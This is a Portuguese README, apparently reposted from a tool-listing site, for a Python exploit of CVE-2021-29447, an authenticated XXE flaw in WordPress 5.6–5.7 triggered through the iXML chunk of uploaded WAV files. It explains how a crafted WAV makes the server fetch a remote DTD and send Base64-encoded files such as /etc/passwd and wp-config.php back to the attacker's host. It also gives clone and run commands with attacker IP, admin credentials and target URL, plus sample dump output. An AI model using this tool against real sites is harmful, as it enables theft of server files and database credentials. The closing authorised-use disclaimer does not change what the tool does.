CVE-2021-29447 Exploit XXE Autenticado para WordPress 🎯

Um PoC em Python para explorar a vulnerabilidade XXE autenticada (CVE-2021-29447) em versões do WordPress 5.6–5.7 através de metadados WAV. Ela abusa do chunk iXML em arquivos WAV para disparar uma exfiltração Fora de Banda (OOB) de dados sensíveis — como /etc/passwd, wp-config.php e muito mais — diretamente para o seu diretório dump/.

Como Funciona 🔍

Este script aproveita uma falha de XML External Entity (XXE) na forma como o WordPress processa metadados WAV:

1. Criação do WAV: Gera um arquivo WAV malicioso incorporando um chunk iXML que referencia um DTD remoto em sua máquina.
2. Hospedagem do DTD: Inicia um servidor HTTP (ou usa o seu próprio) para servir o DTD criado, que instrui o WordPress a ler e codificar em Base64 o arquivo alvo (ex.: /etc/passwd).
3. Upload do Arquivo: Autentica no WordPress, obtém o nonce de upload de mídia e envia o WAV através da Biblioteca de Mídia.
4. Exfiltração OOB: O WordPress processa o WAV, busca o DTD e então faz um callback para o seu servidor contendo os dados em Base64. O script os decodifica e os salva em dump/.

Funcionalidades Principais ⚡

• Modo Interativo (-i): Solicita caminhos de arquivos até CTRL+C — ótimo para exploração ad-hoc.
• Modo Wordlist (-w <arquivo>): Processa em lote dezenas de caminhos de arquivos a partir de uma lista.
• Ignorar Servidor HTTP (--no-http): Use seu próprio servidor web ao invés do embutido.
• Modo Debug (--debug): Veja logs detalhados de HTTP e debug interno.
• Logs Limpos e Coloridos: Rótulos prefixados — [CONFIG], [UPLOAD], [DUMP], [WARN], [ERROR] — para verificação rápida de status.
• Timeout Configurável: Aguarde até 6 segundos por cada exfiltração antes de continuar.

Instalação 🛠️

1. Clone o repositório:
   root@kitploit:~

   git clone https://github.com/Tea-On/CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7.git
   cd CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7
   

2. Instale a dependência Python:
   root@kitploit:~

   pip3 install requests
   

🧾 Referência de Argumentos

Exemplo de Uso 💥

Modo Interativo

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulneravel.local -i

[CONFIG] Modo interativo (CTRL+C para sair)
Arquivo> /etc/passwd
[CONFIG] DTD escrito: dtd/L2V0Yy9wYXNzd2Q=.dtd
[CONFIG] WAV construído
[INFO] Nonce: d87f00a552
[DUMP] Despejado: dump/passwd
[UPLOAD] Upload ok (200)
[UPLOAD] URL: http://vulneravel.local/wp-content/uploads/payload.wav
Arquivo>

Modo Wordlist

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulneravel.local -w wordlist.txt

[CONFIG] Carregados 4 caminhos de "wordlist.txt"
[CONFIG] Usando servidor HTTP em 10.10.14.8:8080
[CONFIG] Iniciando exfiltração em lote...
[DUMP] [/etc/passwd] → dump/passwd
[WARN] Nenhuma exfiltração para /etc/hostname em 6s, continuando
[UPLOAD] Upload ok (200)
[ERROR] Falha no upload (502) em "/nonexistent"

Sem Servidor & Debug

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulneravel.local --no-http --debug -w wordlist.txt

Use seu próprio servidor HTTP para hospedar dtd/ e capturar callbacks. Logs de debug aparecem como [DEBUG].

Diretórios de Saída 📂

• dtd/ – Arquivos DTD gerados servidos ao alvo.
• dump/ – Conteúdos de arquivos decodificados, nomeados de acordo com o caminho original.

Dicas e Truques 💡

• Ajuste o Timeout: Altere a variável EXFIL_TIMEOUT (padrão 6s) para redes lentas.
• Use Debug: Ative --debug para diagnosticar problemas com autenticação, upload ou callbacks.

Divulgação Responsável & Licença 🔐

Use esta ferramenta apenas em sistemas que você possui ou tem permissão explícita para testar.

Licenciado sob a Licença MIT. Contribuições são bem-vindas — vamos continuar hackeando de forma ética e divertida! ✨